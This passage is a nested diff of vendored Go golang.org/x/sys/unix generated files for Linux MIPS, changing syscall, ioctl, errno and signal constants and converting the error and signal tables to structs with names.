-+ SO_PROTOCOL = 0x1028
-+ SO_RCVBUF = 0x1002
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x1004
-+ SO_RCVTIMEO = 0x1006
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x1006
-+ SO_REUSEADDR = 0x4
-+ SO_REUSEPORT = 0x200
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x1001
-+ SO_SNDBUFFORCE = 0x1f
-+ SO_SNDLOWAT = 0x1003
-+ SO_SNDTIMEO = 0x1005
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x1005
-+ SO_STYLE = 0x1008
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x1008
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x5407
-+ TCGETA = 0x5401
-+ TCGETS = 0x540d
-+ TCGETS2 = 0x4030542a
-+ TCSAFLUSH = 0x5410
-+ TCSBRK = 0x5405
-+ TCSBRKP = 0x5486
-+ TCSETA = 0x5402
-+ TCSETAF = 0x5404
-+ TCSETAW = 0x5403
-+ TCSETS = 0x540e
-+ TCSETS2 = 0x8030542b
-+ TCSETSF = 0x5410
-+ TCSETSF2 = 0x8030542d
-+ TCSETSW = 0x540f
-+ TCSETSW2 = 0x8030542c
-+ TCXONC = 0x5406
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x80047478
-+ TIOCEXCL = 0x740d
-+ TIOCGDEV = 0x40045432
-+ TIOCGETD = 0x7400
-+ TIOCGETP = 0x7408
-+ TIOCGEXCL = 0x40045440
-+ TIOCGICOUNT = 0x5492
-+ TIOCGISO7816 = 0x40285442
-+ TIOCGLCKTRMIOS = 0x548b
-+ TIOCGLTC = 0x7474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGPKT = 0x40045438
-+ TIOCGPTLCK = 0x40045439
-+ TIOCGPTN = 0x40045430
-+ TIOCGPTPEER = 0x20005441
-+ TIOCGRS485 = 0x4020542e
-+ TIOCGSERIAL = 0x5484
-+ TIOCGSID = 0x7416
-+ TIOCGSOFTCAR = 0x5481
-+ TIOCGWINSZ = 0x40087468
-+ TIOCINQ = 0x467f
-+ TIOCLINUX = 0x5483
-+ TIOCMBIC = 0x741c
-+ TIOCMBIS = 0x741b
-+ TIOCMGET = 0x741d
-+ TIOCMIWAIT = 0x5491
-+ TIOCMSET = 0x741a
-+ TIOCM_CAR = 0x100
-+ TIOCM_CD = 0x100
-+ TIOCM_CTS = 0x40
-+ TIOCM_DSR = 0x400
-+ TIOCM_RI = 0x200
-+ TIOCM_RNG = 0x200
-+ TIOCM_SR = 0x20
-+ TIOCM_ST = 0x10
-+ TIOCNOTTY = 0x5471
-+ TIOCNXCL = 0x740e
-+ TIOCOUTQ = 0x7472
-+ TIOCPKT = 0x5470
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x5480
-+ TIOCSERCONFIG = 0x5488
-+ TIOCSERGETLSR = 0x548e
-+ TIOCSERGETMULTI = 0x548f
-+ TIOCSERGSTRUCT = 0x548d
-+ TIOCSERGWILD = 0x5489
-+ TIOCSERSETMULTI = 0x5490
-+ TIOCSERSWILD = 0x548a
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x7401
-+ TIOCSETN = 0x740a
-+ TIOCSETP = 0x7409
-+ TIOCSIG = 0x80045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x548c
-+ TIOCSLTC = 0x7475
-+ TIOCSPGRP = 0x80047476
-+ TIOCSPTLCK = 0x80045431
-+ TIOCSRS485 = 0xc020542f
-+ TIOCSSERIAL = 0x5485
-+ TIOCSSOFTCAR = 0x5482
-+ TIOCSTI = 0x5472
-+ TIOCSWINSZ = 0x80087467
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x8000
-+ TUNATTACHFILTER = 0x801054d5
-+ TUNDETACHFILTER = 0x801054d6
-+ TUNGETDEVNETNS = 0x200054e3
-+ TUNGETFEATURES = 0x400454cf
-+ TUNGETFILTER = 0x401054db
-+ TUNGETIFF = 0x400454d2
-+ TUNGETSNDBUF = 0x400454d3
-+ TUNGETVNETBE = 0x400454df
-+ TUNGETVNETHDRSZ = 0x400454d7
-+ TUNGETVNETLE = 0x400454dd
-+ TUNSETCARRIER = 0x800454e2
-+ TUNSETDEBUG = 0x800454c9
-+ TUNSETFILTEREBPF = 0x400454e1
-+ TUNSETGROUP = 0x800454ce
-+ TUNSETIFF = 0x800454ca
-+ TUNSETIFINDEX = 0x800454da
-+ TUNSETLINK = 0x800454cd
-+ TUNSETNOCSUM = 0x800454c8
-+ TUNSETOFFLOAD = 0x800454d0
-+ TUNSETOWNER = 0x800454cc
-+ TUNSETPERSIST = 0x800454cb
-+ TUNSETQUEUE = 0x800454d9
-+ TUNSETSNDBUF = 0x800454d4
-+ TUNSETSTEERINGEBPF = 0x400454e0
-+ TUNSETTXFILTER = 0x800454d1
-+ TUNSETVNETBE = 0x800454de
-+ TUNSETVNETHDRSZ = 0x800454d8
-+ TUNSETVNETLE = 0x800454dc
-+ UBI_IOCATT = 0x80186f40
-+ UBI_IOCDET = 0x80046f41
-+ UBI_IOCEBCH = 0x80044f02
-+ UBI_IOCEBER = 0x80044f01
-+ UBI_IOCEBISMAP = 0x40044f05
-+ UBI_IOCEBMAP = 0x80084f03
-+ UBI_IOCEBUNMAP = 0x80044f04
-+ UBI_IOCMKVOL = 0x80986f00
-+ UBI_IOCRMVOL = 0x80046f01
-+ UBI_IOCRNVOL = 0x91106f03
-+ UBI_IOCRPEB = 0x80046f04
-+ UBI_IOCRSVOL = 0x800c6f02
-+ UBI_IOCSETVOLPROP = 0x80104f06
-+ UBI_IOCSPEB = 0x80046f05
-+ UBI_IOCVOLCRBLK = 0x80804f07
-+ UBI_IOCVOLRMBLK = 0x20004f08
-+ UBI_IOCVOLUP = 0x80084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x10
-+ VEOL = 0x11
-+ VEOL2 = 0x6
-+ VMIN = 0x4
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VSWTCH = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x40045702
-+ WDIOC_GETPRETIMEOUT = 0x40045709
-+ WDIOC_GETSTATUS = 0x40045701
-+ WDIOC_GETSUPPORT = 0x40285700
-+ WDIOC_GETTEMP = 0x40045703
-+ WDIOC_GETTIMELEFT = 0x4004570a
-+ WDIOC_GETTIMEOUT = 0x40045707
-+ WDIOC_KEEPALIVE = 0x40045705
-+ WDIOC_SETOPTIONS = 0x40045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x7d)
- EADDRNOTAVAIL = syscall.Errno(0x7e)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x7c)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x95)
- EBADE = syscall.Errno(0x32)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x51)
- EBADMSG = syscall.Errno(0x4d)
- EBADR = syscall.Errno(0x33)
- EBADRQC = syscall.Errno(0x36)
- EBADSLT = syscall.Errno(0x37)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x9e)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x25)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x82)
-@@ -1886,12 +502,8 @@ const (
- EDEADLK = syscall.Errno(0x2d)
- EDEADLOCK = syscall.Errno(0x38)
- EDESTADDRREQ = syscall.Errno(0x60)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x46d)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x93)
- EHOSTUNREACH = syscall.Errno(0x94)
- EHWPOISON = syscall.Errno(0xa8)
-@@ -1899,11 +511,7 @@ const (
- EILSEQ = syscall.Errno(0x58)
- EINIT = syscall.Errno(0x8d)
- EINPROGRESS = syscall.Errno(0x96)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x85)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x8b)
- EKEYEXPIRED = syscall.Errno(0xa2)
- EKEYREJECTED = syscall.Errno(0xa4)
-@@ -1920,8 +528,6 @@ const (
- ELNRNG = syscall.Errno(0x29)
- ELOOP = syscall.Errno(0x5a)
- EMEDIUMTYPE = syscall.Errno(0xa0)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x61)
- EMULTIHOP = syscall.Errno(0x4a)
- ENAMETOOLONG = syscall.Errno(0x4e)
-@@ -1929,100 +535,68 @@ const (
- ENETDOWN = syscall.Errno(0x7f)
- ENETRESET = syscall.Errno(0x81)
- ENETUNREACH = syscall.Errno(0x80)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x35)
- ENOBUFS = syscall.Errno(0x84)
- ENOCSI = syscall.Errno(0x2b)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0xa1)
- ENOLCK = syscall.Errno(0x2e)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x9f)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x23)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x63)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x59)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x86)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x5d)
- ENOTNAM = syscall.Errno(0x89)
- ENOTRECOVERABLE = syscall.Errno(0xa6)
- ENOTSOCK = syscall.Errno(0x5f)
- ENOTSUP = syscall.Errno(0x7a)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x50)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x7a)
- EOVERFLOW = syscall.Errno(0x4f)
- EOWNERDEAD = syscall.Errno(0xa5)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x7b)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x78)
- EPROTOTYPE = syscall.Errno(0x62)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x52)
- EREMDEV = syscall.Errno(0x8e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x8c)
- ERESTART = syscall.Errno(0x5b)
- ERFKILL = syscall.Errno(0xa7)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x8f)
- ESOCKTNOSUPPORT = syscall.Errno(0x79)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x97)
- ESTRPIPE = syscall.Errno(0x5c)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x91)
- ETOOMANYREFS = syscall.Errno(0x90)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x87)
- EUNATCH = syscall.Errno(0x2a)
- EUSERS = syscall.Errno(0x5e)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x34)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0xa)
- SIGCHLD = syscall.Signal(0x12)
- SIGCLD = syscall.Signal(0x12)
- SIGCONT = syscall.Signal(0x19)
- SIGEMT = syscall.Signal(0x7)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x16)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x16)
- SIGPROF = syscall.Signal(0x1d)
- SIGPWR = syscall.Signal(0x13)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTOP = syscall.Signal(0x17)
- SIGSYS = syscall.Signal(0xc)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x18)
- SIGTTIN = syscall.Signal(0x1a)
- SIGTTOU = syscall.Signal(0x1b)
-@@ -2036,174 +610,182 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "no message of desired type",
-- 36: "identifier removed",
-- 37: "channel number out of range",
-- 38: "level 2 not synchronized",
-- 39: "level 3 halted",
-- 40: "level 3 reset",
-- 41: "link number out of range",
-- 42: "protocol driver not attached",
-- 43: "no CSI structure available",
-- 44: "level 2 halted",
-- 45: "resource deadlock avoided",
-- 46: "no locks available",
-- 50: "invalid exchange",
-- 51: "invalid request descriptor",
-- 52: "exchange full",
-- 53: "no anode",
-- 54: "invalid request code",
-- 55: "invalid slot",
-- 56: "file locking deadlock error",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 73: "RFS specific error",
-- 74: "multihop attempted",
-- 77: "bad message",
-- 78: "file name too long",
-- 79: "value too large for defined data type",
-- 80: "name not unique on network",
-- 81: "file descriptor in bad state",
-- 82: "remote address changed",
-- 83: "can not access a needed shared library",
-- 84: "accessing a corrupted shared library",
-- 85: ".lib section in a.out corrupted",
-- 86: "attempting to link in too many shared libraries",
-- 87: "cannot exec a shared library directly",
-- 88: "invalid or incomplete multibyte or wide character",
-- 89: "function not implemented",
-- 90: "too many levels of symbolic links",
-- 91: "interrupted system call should be restarted",
-- 92: "streams pipe error",
-- 93: "directory not empty",
-- 94: "too many users",
-- 95: "socket operation on non-socket",
-- 96: "destination address required",
-- 97: "message too long",
-- 98: "protocol wrong type for socket",
-- 99: "protocol not available",
-- 120: "protocol not supported",
-- 121: "socket type not supported",
-- 122: "operation not supported",
-- 123: "protocol family not supported",
-- 124: "address family not supported by protocol",
-- 125: "address already in use",
-- 126: "cannot assign requested address",
-- 127: "network is down",
-- 128: "network is unreachable",
-- 129: "network dropped connection on reset",
-- 130: "software caused connection abort",
-- 131: "connection reset by peer",
-- 132: "no buffer space available",
-- 133: "transport endpoint is already connected",
-- 134: "transport endpoint is not connected",
-- 135: "structure needs cleaning",
-- 137: "not a XENIX named type file",
-- 138: "no XENIX semaphores available",
-- 139: "is a named type file",
-- 140: "remote I/O error",
-- 141: "unknown error 141",
-- 142: "unknown error 142",
-- 143: "cannot send after transport endpoint shutdown",
-- 144: "too many references: cannot splice",
-- 145: "connection timed out",
-- 146: "connection refused",
-- 147: "host is down",
-- 148: "no route to host",
-- 149: "operation already in progress",
-- 150: "operation now in progress",
-- 151: "stale file handle",
-- 158: "operation canceled",
-- 159: "no medium found",
-- 160: "wrong medium type",
-- 161: "required key not available",
-- 162: "key has expired",
-- 163: "key has been revoked",
-- 164: "key was rejected by service",
-- 165: "owner died",
-- 166: "state not recoverable",
-- 167: "operation not possible due to RF-kill",
-- 168: "memory page has hardware error",
-- 1133: "disk quota exceeded",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "ENOMSG", "no message of desired type"},
-+ {36, "EIDRM", "identifier removed"},
-+ {37, "ECHRNG", "channel number out of range"},
-+ {38, "EL2NSYNC", "level 2 not synchronized"},
-+ {39, "EL3HLT", "level 3 halted"},
-+ {40, "EL3RST", "level 3 reset"},
-+ {41, "ELNRNG", "link number out of range"},
-+ {42, "EUNATCH", "protocol driver not attached"},
-+ {43, "ENOCSI", "no CSI structure available"},
-+ {44, "EL2HLT", "level 2 halted"},
-+ {45, "EDEADLK", "resource deadlock avoided"},
-+ {46, "ENOLCK", "no locks available"},
-+ {50, "EBADE", "invalid exchange"},
-+ {51, "EBADR", "invalid request descriptor"},
-+ {52, "EXFULL", "exchange full"},
-+ {53, "ENOANO", "no anode"},
-+ {54, "EBADRQC", "invalid request code"},
-+ {55, "EBADSLT", "invalid slot"},
-+ {56, "EDEADLOCK", "file locking deadlock error"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EMULTIHOP", "multihop attempted"},
-+ {77, "EBADMSG", "bad message"},
-+ {78, "ENAMETOOLONG", "file name too long"},
-+ {79, "EOVERFLOW", "value too large for defined data type"},
-+ {80, "ENOTUNIQ", "name not unique on network"},
-+ {81, "EBADFD", "file descriptor in bad state"},
-+ {82, "EREMCHG", "remote address changed"},
-+ {83, "ELIBACC", "can not access a needed shared library"},
-+ {84, "ELIBBAD", "accessing a corrupted shared library"},
-+ {85, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {86, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {87, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {88, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {89, "ENOSYS", "function not implemented"},
-+ {90, "ELOOP", "too many levels of symbolic links"},
-+ {91, "ERESTART", "interrupted system call should be restarted"},
-+ {92, "ESTRPIPE", "streams pipe error"},
-+ {93, "ENOTEMPTY", "directory not empty"},
-+ {94, "EUSERS", "too many users"},
-+ {95, "ENOTSOCK", "socket operation on non-socket"},
-+ {96, "EDESTADDRREQ", "destination address required"},
-+ {97, "EMSGSIZE", "message too long"},
-+ {98, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {99, "ENOPROTOOPT", "protocol not available"},
-+ {120, "EPROTONOSUPPORT", "protocol not supported"},
-+ {121, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {122, "ENOTSUP", "operation not supported"},
-+ {123, "EPFNOSUPPORT", "protocol family not supported"},
-+ {124, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {125, "EADDRINUSE", "address already in use"},
-+ {126, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {127, "ENETDOWN", "network is down"},
-+ {128, "ENETUNREACH", "network is unreachable"},
-+ {129, "ENETRESET", "network dropped connection on reset"},
-+ {130, "ECONNABORTED", "software caused connection abort"},
-+ {131, "ECONNRESET", "connection reset by peer"},
-+ {132, "ENOBUFS", "no buffer space available"},
-+ {133, "EISCONN", "transport endpoint is already connected"},
-+ {134, "ENOTCONN", "transport endpoint is not connected"},
-+ {135, "EUCLEAN", "structure needs cleaning"},
-+ {137, "ENOTNAM", "not a XENIX named type file"},
-+ {138, "ENAVAIL", "no XENIX semaphores available"},
-+ {139, "EISNAM", "is a named type file"},
-+ {140, "EREMOTEIO", "remote I/O error"},
-+ {141, "EINIT", "unknown error 141"},
-+ {142, "EREMDEV", "unknown error 142"},
-+ {143, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {144, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {145, "ETIMEDOUT", "connection timed out"},
-+ {146, "ECONNREFUSED", "connection refused"},
-+ {147, "EHOSTDOWN", "host is down"},
-+ {148, "EHOSTUNREACH", "no route to host"},
-+ {149, "EALREADY", "operation already in progress"},
-+ {150, "EINPROGRESS", "operation now in progress"},
-+ {151, "ESTALE", "stale file handle"},
-+ {158, "ECANCELED", "operation canceled"},
-+ {159, "ENOMEDIUM", "no medium found"},
-+ {160, "EMEDIUMTYPE", "wrong medium type"},
-+ {161, "ENOKEY", "required key not available"},
-+ {162, "EKEYEXPIRED", "key has expired"},
-+ {163, "EKEYREVOKED", "key has been revoked"},
-+ {164, "EKEYREJECTED", "key was rejected by service"},
-+ {165, "EOWNERDEAD", "owner died"},
-+ {166, "ENOTRECOVERABLE", "state not recoverable"},
-+ {167, "ERFKILL", "operation not possible due to RF-kill"},
-+ {168, "EHWPOISON", "memory page has hardware error"},
-+ {1133, "EDQUOT", "disk quota exceeded"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "user defined signal 1",
-- 17: "user defined signal 2",
-- 18: "child exited",
-- 19: "power failure",
-- 20: "window changed",
-- 21: "urgent I/O condition",
-- 22: "I/O possible",
-- 23: "stopped (signal)",
-- 24: "stopped",
-- 25: "continued",
-- 26: "stopped (tty input)",
-- 27: "stopped (tty output)",
-- 28: "virtual timer expired",
-- 29: "profiling timer expired",
-- 30: "CPU time limit exceeded",
-- 31: "file size limit exceeded",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGUSR1", "user defined signal 1"},
-+ {17, "SIGUSR2", "user defined signal 2"},
-+ {18, "SIGCHLD", "child exited"},
-+ {19, "SIGPWR", "power failure"},
-+ {20, "SIGWINCH", "window changed"},
-+ {21, "SIGURG", "urgent I/O condition"},
-+ {22, "SIGIO", "I/O possible"},
-+ {23, "SIGSTOP", "stopped (signal)"},
-+ {24, "SIGTSTP", "stopped"},
-+ {25, "SIGCONT", "continued"},
-+ {26, "SIGTTIN", "stopped (tty input)"},
-+ {27, "SIGTTOU", "stopped (tty output)"},
-+ {28, "SIGVTALRM", "virtual timer expired"},
-+ {29, "SIGPROF", "profiling timer expired"},
-+ {30, "SIGXCPU", "CPU time limit exceeded"},
-+ {31, "SIGXFSZ", "file size limit exceeded"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go
-index 44191b0c..2dfe6bba 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go
-@@ -3,7 +3,7 @@
-
- // +build mipsle,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-@@ -11,1873 +11,489 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
